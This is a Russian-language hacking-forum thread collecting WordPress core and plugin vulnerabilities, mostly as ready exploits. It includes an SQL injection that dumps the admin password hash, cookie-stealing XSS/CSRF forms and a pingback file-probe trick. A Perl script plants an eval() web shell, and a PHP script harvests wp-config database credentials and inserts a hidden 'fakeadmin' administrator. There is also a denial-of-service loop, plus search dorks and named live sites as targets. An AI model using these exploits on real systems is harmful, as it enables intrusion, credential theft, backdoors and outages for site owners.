|
|
Приветствую Вас Гость | RSS |
|
|
|
|
|
| | |
|
Обзор уязвимостей WordPress
| |
Decide | Дата: Среда, 14.11.2012, 10:59 | Сообщение # 61 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Trackback SQL Injection (2.x<=WordPress<=2.5.1?)
Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно Открывай файл ./wp-includes/comment.php и находи в нем такой код: Код:
function do_trackbacks($post_id) { ... $to_ping = get_to_ping($post_id); ... if ( $to_ping ) { foreach ( (array) $to_ping as $tb_ping ) { $tb_ping = trim($tb_ping); if ( !in_array($tb_ping, $pinged) ) { trackback($tb_ping, $post_title, $excerpt, $post_id); $pinged[] = $tb_ping; } else { $wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'"); } } } }
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:00 | Сообщение # 62 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| wp-app sql injection (2.2<=WordPress<=2.2.3)
Ну и на закуску, пропущенная всеми древняя уязвимость от Alexander Concha (зато уязвимая функция и сейчас присутствует в вордпрессе без изменений 1. ./wp-includes/atomlib.php Код:
function xml_escape($string) { return str_replace(array('&','"',"'",'<','>'), array('&','"',''','<','>'), $string ); }
2. Эксплойт с правами edit_posts Код:
<?php $site='lamer.com'; $path='/wp223/wp-app.php?action=/post/1'; //тут айди поста $user='editor'; //логин на блоге $passwd='editor'; //пароль на блоге
$auth=base64_encode($user.":".$passwd); $fp = fsockopen($site, 80, $errno, $errstr, 30); $data='<feed> <entry> <id>http://lamer.com/wp223/2009/03/01/hello-world/</id> <title type="html">test\</title> <summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary> </entry> </feed>';
$out = "PUT $path HTTP/1.1\r\n"; $out .= "Host: $site\r\n"; $out .= "Content-Type: application/atom+xml\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: Opera\r\n"; $out .= "Authorization: Basic $auth\r\n"; $out .= "Content-Length: ".strlen($data)."\r\n\r\n"; fwrite($fp, $out.$data); fclose($fp); ?>
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:00 | Сообщение # 63 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| 8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1)
Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7. Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy. Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1): 1. ./wp-includes/http.php Код:
class WP_Http_Curl { function request($url, $args = array()) { if ( !ini_get('safe_mode') && !ini_get('open_basedir') ) curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );
Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа! Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл: Код:
function wp_remote_get($url, $args = array()) { $objFetchSite = _wp_http_get_object();
return $objFetchSite->get($url, $args); }
2. Функция, приведенная выше, используется в ./wp-includes/functions.php: Код:
function wp_remote_fopen( $uri ) { ... $response = wp_remote_get( $uri, $options ); ... }
3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc: Код:
function pingback_ping($args) { ... $pagelinkedfrom = $args[0]; $pagelinkedto = $args[1]; ... // Let's check the remote site $linea = wp_remote_fopen( $pagelinkedfrom ); ...
Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][. Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php. А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами: 1. ./ping1/index.php Код:
<?php header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>"); header("Location: file:///c:\boot.ini", 302); ?>
2. ./ping2/index.php Код:
<a href="http://lamer.com/ping1/?p=2">Ping2</a>
В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php: Код:
// Check if the page linked to is in our site $pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home'))); if( !$pos1 ) return new IXR_Error(0, __('Is there no link to us?'));
В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки. Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc: Код:
<methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://lamer.com/ping1/?p=2</string></value></param> <param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param> </params> </methodCall>
После отсылки пакета ты сможешь получить 2 ответа от сервера: 1. Если файл c:\boot.ini существует, то блог пришлет такой ответ Цитата: Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)
2. Если же такого файла нет, то жди такого ответа Цитата: The source URL does not exist.
Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого: Цитата: [...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]
Содержимое c:\boot.ini остается где-то под катом Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:00 | Сообщение # 64 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WPML Multilingual CMS Version: 1.0.0 Last Updated: 2009-6-9 Downloads: 9,424 XSS (PoC) Код: <div style="display:none;"> <form action='http://wordpress/wp-content/plugins/sitepress-multilingual-cms/ajax.php?icl_ajx_action=set_default_language' method='post' target="ifr" name="xfrm"> <input name="lang" type="text" value="<script>alert(document.cookie)</script>" /> <input type='submit'> </form> <iframe src="" name="ifr" width="1" height="1"></iframe> <script> document.xfrm.submit(); document.xfrm.lang.value="en"; setTimeout('document.xfrm.submit()', 1000); </script> </div>
PHPINFO Код: http://wordpress/wp-cont....pinfo=1
XSS (register_globals = On) Код: http://wordpress/wp-cont....[code]= "><script>alert(document.cookie)</script> http://wordpress/wp-cont....m
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:00 | Сообщение # 65 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| UnGallery Version: 0.8 Updated: 2009-6-11 Downloads: 226 Remote File Disclosure PHP код: if ($_GET['pic']) { $filename = $_GET['pic']; $len = filesize($filename); $lastslash = strrpos($filename, "/"); $name = substr($filename, $lastslash + 1);
header("Content-type: image/jpeg;\r\n"); header("Content-Length: $len;\r\n"); header("Content-Transfer-Encoding: binary;\r\n"); header('Content-Disposition: inline; filename="'.$name.'"'); // Render the photo inline. readfile($filename); }
Код: $ curl http://wordpress/wp-cont....fig.php
Shell Command Execution PHP код: $dir = "wp-content/plugins/ungallery/pics/" . $_GET['zip'];
// Create the arrays with the dir's image files $dp = opendir($dir); while ($filename = readdir($dp)) { if (!is_dir($dir."/pics/".$gallery. "/". $filename)) { // If it's a file, begin $pic_types = array("JPG", "jpg", "GIF", "gif", "PNG", "png"); if (in_array(substr($filename, -3), $pic_types)) $pic_array[] = $filename; // If it's a image, add it to pic array } } foreach ($pic_array as $filename) { $media_files = $media_files . " " . $dir . "/" . $filename; }
$output = `zip -u -j $dir/pics.zip $media_files`;
print "<pre>$output</pre>"; print 'Complete. The file can be downloaded <a href="./wp-content/plugins/ungallery/source.php?zip=pics/' . $_GET['zip'] . '/pics.zip">here</a>'; print '<br><br>You can return to the gallery <a href="./gallery?gallerylink=' . $_GET['zip'] .'">here.</a>';
Код: http://wordpress/wp-cont....xisting
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:00 | Сообщение # 66 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Mood Personalizer Version: 1.1 Last Updated: 2009-6-11 Downloads: 453 XSS/XSRF Код: <form action='http://wordpress/wp-admin/options-general.php?page=mood-personalizer/mood-personalizer.php' method='post' name="xfrm"> <input name="xMPPic" type="text" value='"><script>alert(document.cookie)</script>' /> <input name="xMPHidd" type="text" value='xMPHidd' /> <input type='submit'> </form> <script>document.xfrm.submit();</script>
PHP код: if($_POST['xMPHidd']=="xMPHidd"){ $xMPPicture = $_POST['xMPPic']; $xMPPictureSize = $_POST['xMPPictureSize']; $xMPPicture = str_replace(".2",".".$xMPPictureSize,$xMPPicture); update_option('xMPPic', $xMPPicture); }
PHP код: <img src="<?php bloginfo('url'); ?>/wp-content/plugins/mood-personalizer/images/<?php
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:01 | Сообщение # 67 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WordPress Plugin Advanced Twitter Widget 1.0.2 XSS Vuln
http://wordpress.org/extend/plugins/advanced-twitter-widget/ \advanced-twitter-widget.php
©eLwaux 30.06.2009, uasc.org.ua
PHP код: 89: if($_POST['advanced_twitter_widget_value']!=""){ 90: $xArrOptions[0]= $_POST['advanced_twitter_widget_title']; 91: $xArrOptions[1]= $_POST['advanced_twitter_widget_value']; 92: $xArrOptions[2]= $_POST['advanced_twitter_widget_type']; 93: $xArrOptions[3]= $_POST['advanced_twitter_widget_count']; 94: update_option('advanced_twitter_widget_options', serialize($xArrOptions)); 95: } 97: $xArrOptions = unserialize(get_option('advanced_twitter_widget_op tions')); 101: $xTitle = $xArrOptions[0]; 102: $xValue = $xArrOptions[1]; 103: $xType = $xArrOptions[2]; 104: $xCount = $xArrOptions[3]; 111: Title:<br/><input type="text" name="advanced_twitter_widget_title" value="<?php echo $xTitle;?>" /><br/><br/> 112: Account/Search:<br/><input type="text" name="advanced_twitter_widget_value" value="<?php echo $xValue;?>" /><br/><br/>
exploit: Код:
POST: advanced_twitter_widget_value=">{XSS1}<a " POST: advanced_twitter_widget_title=">{XSS2}<a " POST: advanced_twitter_widget_type=. POST: advanced_twitter_widget_count=.
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:01 | Сообщение # 68 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WordPress Plugin ImHuman 0.0.9 XSS Vuln
http://wordpress.org/extend/plugins/imhuman-a-humanized-captcha/ \imhuman.php
©eLwaux 30.06.2009, uasc.org.ua
PHP код: 151: if(isset( $_POST['do'] )) { 152: if ( function_exists('current_user_can') && !current_user_can('manage_options') ) 153: die(__('Cheatin’ uh?')); 154: check_admin_referer($plugin_page); 155: 156: $t['imhuman_api_user'] = $_POST['imhuman_api_user']; 157: $t['imhuman_api_key'] = $_POST['imhuman_api_key']; 158: $t['imhuman_row'] = $_POST['imhuman_row']; 159: $t['imhuman_col'] = $_POST['imhuman_col']; 160: $t['imhuman_sel'] = $_POST['imhuman_sel']; 161: $t['imhuman_exc'] = isset($_POST['imhuman_exc'] ) ? 1 : 0; 162: $t['imhuman_word'] = $_POST['imhuman_word']; 163: $t['imhuman_lang'] = $_POST['imhuman_lang']; 164: update_option( 'imhuman_options', $t ); 165: $m = '<p>Settings Saved!</p>'; 166: } 167: $options = get_option( 'imhuman_options' ); .... 194: <td><input type="text" name="imhuman_api_user" id="imhuman_api_user" value="<?php echo $options['imhuman_api_user']; ?>" /></td> 195: </tr> 196: <tr> 197: <th><?php _e('ImHuman Ap? Key'); ?></th> 198: <td><input type="text" name="imhuman_api_key" id="imhuman_api_key" value="<?php echo $options['imhuman_api_key']; ?>" /></td>
exploit: Код:
POST: do=. POST: imhuman_api_user=">{XSS1}<a " POST: imhuman_api_key=">{XSS1}<a " POST: imhuman_row=. POST: imhuman_col=. POST: imhuman_sel=. POST: imhuman_word=.
POST: imhuman_lang=.
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:01 | Сообщение # 69 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WordPress Plugin <Live Countdown Timer 1.1> aXSS Vuln Цитата: WordPress Plugin <Live Countdown Timer 1.1> aXSS Vuln http://www.appchain.com/2009/06/live-countdown-timer-1-1/
©eLwaux 30.06.2009, uasc.org.ua
## ## ## ## ## ##
aXSS \live-countdown-timer\live-countdown-timer.php
----------------------------------------------------------------------------- 142: $xPostArr[0] = $_POST['live_countdown_timer_Title']; 147: update_option('live_countdown_timer_Values', serialize($xPostArr)); .... 149: $xDBArr = unserialize(get_option('live_countdown_timer_Value s')); 150: $live_countdown_timer_Title = $xDBArr[0]; 169: <input type="tex...le" value="<?php echo $live_countdown_timer_Title;?>" /> -----------------------------------------------------------------------------
exploit: POST: live_countdown_timer_days = . POST: live_countdown_timer_Title = ">{aXSS}<div id=" POST: live_countdown_timer_seconds = 12 POST: live_countdown_timer_hours = 11 POST: live_countdown_timer_days = 10
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:01 | Сообщение # 70 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WordPress Plugin <simple-sidebar-navigation 2.1.0> aXSS Vuln Цитата: WordPress Plugin <simple-sidebar-navigation 2.1.0> aXSS Vuln
©eLwaux 30.06.2009, uasc.org.ua
## ## ## ## ## ##
aXSS /simple-sidebar-navigation/settings/settings.php
----------------------------------------------------------------------------- 10: if (isset($_POST['ssn_submit'])): 11: update_option('dropdown_css', $_POST['dropdown_css']); 12: update_option('custom_css', $_POST['custom_css']); 13: update_option('blog_post_links', $_POST['blog_post_links']); 14: update_option('target_attr', $_POST['target_attr']); ... 57: <td><input type="text" name="custom_css" size="100" value="<?php echo $custom_css; ?>"> -----------------------------------------------------------------------------
exploit: POST: ssn_submit = . POST: dropdown_css = . POST: custom_css = ">{XSS}<div id=" POST: blog_post_links = . POST: target_attr = .
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:02 | Сообщение # 71 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WordPress Plugin Wordpress Toolbar 2.1.1 pXSS & PDisclosure Код: WordPress Plugin Wordpress Toolbar 2.1.1 pXSS & PDisclosure http://wordpress.org/extend/plugins/wordpress-toolbar/ http://abhinavsingh.com/blog/2009/02/wordpress-toolbar-plugin/
Dork: "inurl:wp-toolbar.php"
## ## ## ##
eLwaux©2009 UASC.org.ua
## ## ## ##
Path Disclosure
/wp-content/plugins/wordpress-toolbar/wp-toolbar.php ( call to undefined function add_action() ) ----------------------------------------------------------------- 1: <?php 12: include_once("socialsites.php"); 14: add_action('admin_menu','wordpress_toolbar_admin') ; -----------------------------------------------------------------
example: http://www.watblog.com/wp-cont....bar.php http://www.maktabe.com/wp-cont....bar.php http://helenoticias.com/wp-cont....bar.php http://seattlesocialmedia.com/wp-cont....bar.php
## ## ## ##
XSS
/wp-content/plugins/wordpress-toolbar/toolbar.php ----------------------------------------------------------------- 30: $tourl = $_GET['wp-toolbar-tourl']; 42: $blogtitle = $_GET['wp-toolbar-blogtitle']; 52: <title><?php echo $blogtitle; ?> - Toolbar</title> 56: <iframe frameborder="0" noresize="noresize" src="<?php echo $tourl; ?>" -----------------------------------------------------------------
PoC: wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title>{XSS} wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-tourl=">{XSS}<div id="
example: http://www.alymelfashionfusion.com/Blog....le ><script>alert(/xss/);</script> http://www.pclinuxos.hu/wp-cont....le ><script>alert(/xss/);</script> http://www.watblog.com/wp-cont....lbar-to
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:02 | Сообщение # 72 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit надо логин:пароль админа
Код: Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit ------------ http://wordpress.org/extend/plugins/add-uroksu-catalog/ Add UROK.su Catalog Version: 1.03 ------------
\wp-content\plugins\add-uroksu-catalog\urok.su.class.php ---------------------------------------------------------------------- |56| if (isset($_POST['UPDATE'])) { |57| MyUROKsu_user=$_REQUEST['login']; |58| $file_name=$file_name=dirname(__FILE__).'/login.txt'; |59| $w=fopen($file_name,'w'); |60| fwrite($w,$MyUROKsu_user); |61| fclose($w); |62| print($this->update_catalog($MyUROKsu_user)); |63| echo '</p>'; |64| } ----------------------------------------------------------------------
Steps to code execution: 1) /wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php POST: UPDATE=.& login=<?php=@eval($_GET['c']);?> (your code will be saved to file: /wp-content/plugins/add-uroksu-catalog/login.txt) 2) include this file & code execute: /wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=system('id');
perl exploit: ----------------------------------------------------------------------
PHP код: #! /usr/bin/perl -w
use LWP::UserAgent; use warnings;
print "\n WP ] add-uroksu-catalog < 1.03 [ exploit\n"; print " eLwaux©uasc 2009\n\n";
if (!$ARGV[2]) { print " usage:\n". " expl.pl http://site.com/wp/index.php adminLogin adminPass\n". exit(0); }
my $mHost = $ARGV[0]; my $mAdmL = $ARGV[1]; my $mAdmP = $ARGV[2];
#$mAdmL =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; #$mAdmP =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
my $HOST = $1 if ($mHost =~ /http://(.+?)//);
my $UA = LWP::UserAgent->new; $UA->timeout(20); $UA->default_header('Referer' => $mHost.'wp-login.php'); $UA->default_header('Cookie' => 'wordpress_test_cookie=WP+Cookie+check;'); # login to WP my $page = $UA->post($mHost.'wp-login.php', { log => $mAdmL, pwd => $mAdmP, # rememberme => 'forever', submit => 'Войти', redirect_to => $mHost.'wp-admin/', testcookie => 1 } )->as_string; my $cookie = ''; my @SetCookie = ($page =~ m/Set-Cookie: (.+?=.+?);/g); foreach my $SC (@SetCookie) { $cookie .= $SC.';'; } if (length($cookie)<100) { print ' - bad login:password!'; exit(0); } print ' - good login:password!'."\n"; $UA->default_header('Cookie' => $cookie);
print ' .. sending exploit..'."\n"; # send EXPLOIT $page = $UA->post($mHost.'wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php', { login => '<?php @eval($_GET[\'c\']);?>', UPDATE => 1 } )->as_string; print ' + exploit send!'."\n";
# try execute simple code $page = $UA->get($mHost.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=print_r($_SERVER);')->as_string; if ($page =~ /[SERVER_SOFTWARE] => (.+?)[rn]+/) { print ' + result of test1: '.$1."\n"; print ' + result of test2: '.$1."\n" if ($page =~ /[SCRIPT_FILENAME] => (.+?)[rn]+/); } else { print ' - perhaps code is not injected!'."\n"; }
print ' ! FINISH!'."\n\n"; print ' !! your shell:'."\n"; print ' '.$mHost."\n". ' '.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}'."\n";
exit(0); Код:
----------------------------------------------------------------------
simple result on localhost: ---------------------------------------------------------------------- > expl.pl http://localhost/cms/wordpress/ admin "4#@!v^w!*)kW"
WP ] add-uroksu-catalog < 1.03 [ exploit eLwaux©uasc 2009
- good login:password! .. sending exploit.. + exploit send! + result of test1: Apache/2.2.11 (Win32) PHP/5.2.9-2 + result of test2: C:/wamp/www/cms/wordpress/wp-admin/admin.php ! FINISH!
!! your shell: http://localhost/cms/wordpress/ wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:02 | Сообщение # 73 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit
This can be used to hack 2.8.1 through Remote XSS.
Код: echo "wp281.quickprz // iso^kpsbr"
SITE=$1 COMMENT=$2 MESSAGE="h4x0riZed by the superfreakaz0rz"
if [ "X$SITE" = "X" ]; then echo "$0 <url> [postID]" echo "f.e. $0 www.worstpress.eu" exit fi
if [ "X$POSTID" = "X" ]; then POSTID=1 fi
echo "[+] building payload"
WHERE="title" # can also be 'content' PATH="$SITE/wp-comments-post.php"
WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'` EVILURL="http://w.ch'onmouseover='document.getElementById(String.f romCharCode($WHERE)).value=this.innerHTML;document .getElementById(String.fromCharCode(112,117,98,108 ,105,115,104)).click();" echo "[-] payload is $EVILURL for '$MESSAGE'"
EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %` MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %` RNDDATA=`/bin/date +%S%s`;
echo "[!] delivering data" /usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmles s+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH
echo "[X] all done. now wait for admin to mouse-over that name."
# milw0rm.com [2009-07-24]
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:03 | Сообщение # 74 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WP-Config Discover Code 1. < ?php 2. $paths = array( 3. "blog", 4. "site", 5. "html", 6. "www", 7. "html/blog", 8. "www/blog", 9. "site/blog", 10. "wordpress", 11. "wp", 12. "www/wp", 13. "www/wordpress", 14. "html/wordpress", 15. "html/wp", 16. "public_html", 17. "public_html/blog", 18. "public_html/wp", 19. "public_html/wordpress", 20. ); 21. $files = array( 22. "wp-config.php", 23. ); 24. print "Checking for ….\n"; 25. if(!is_readable("/etc/passwd")) die("err0r: can’t read /etc/passwd (safe mode?)"); 26. $_f = @file("/etc/passwd"); 27. foreach($_f as $usr){ 28. $usr = explode(":", $usr); 29. $uid = $usr[2]; 30. $home = $usr[5]; 31. $usr = $usr[0]; 32. if($uid >= 1000){ 33. print $usr." (uid:".$uid."): ".$home."\n"; 34. foreach($paths as $path){ 35. if(file_exists($home."/".$path)) { 36. print "\tSearching in ".$home."/".$path."\n"; 37. foreach($files as $file){ 38. if(file_exists($home."/".$path."/".$file)){ 39. print "\t\tFound: ".$file."\n"; 40. $__f = @file($home."/".$path."/".$file); 41. foreach($__f as $line){ 42. if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; } 43. if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; } 44. if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; } 45. if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; } 46. if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; } 47. flush(); 48. } 49. print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n"; 50. if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n"; 51. if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n"; 52. flush(); 53. } 54. } 55. } 56. flush(); 57. } 58. flush(); 59. } 60. } 61. function getURL($user, $pass, $db, $host, $prefix){ 62. preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0]; 63. preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0]; 64. preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0]; 65. preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0]; 66. preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0]; 67. $sql = @mysql_connect($host, $user, $pass); 68. @mysql_select_db($db); 69. $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql); 70. @mysql_close($sql); 71. return @mysql_result($_q, 0, ‘option_value’); 72. } 73. 74. function UserAdmin($action, $user, $pass, $db, $host, $prefix){ 75. preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0]; 76. preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0]; 77. preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0]; 78. preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0]; 79. preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0]; 80. $sql = @mysql_connect($host, $user, $pass); 81. @mysql_select_db($db); 82. if($action == "create"){ 83. $wp_uid = rand(9990,99999); 84. @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(’dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql); 85. @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql); 86. } 87. if($action == "delete"){ 88. mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql); 89. mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql); 90. } 91. @mysql_close($sql); 92. return "fakeadmin/dummie"; 93. } 94. ?>
|
|
| |
Decide | Дата: Среда, 14.11.2012, 11:03 | Сообщение # 75 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.
Открываем файл WP-trackbacks.php: Код: if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks $title = mb_convert_encoding($title, get_option(’blog_charset’), $charset); $excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset); $blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset); }
$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding
Код: $text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Эта функция преобразует $text в UTF-8. Но если мы сделаем так: Код: $text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня: Код: <?php //wordpress Resource exhaustion Exploit // by rooibo //security@wordpress.org contacted and get a response, //but no solution available. if(count($argv) < 2) { echo “You need to specify a url to attack\n”; exit; }
$url = $argv[1];
$data = parse_url($url); if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; }
if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/'); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; }
$b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”);
$str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’;
$count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) { echo “down!!!!\n”; exit; } echo “unable to connect to: “.$data['host'].”\n”; exit; }
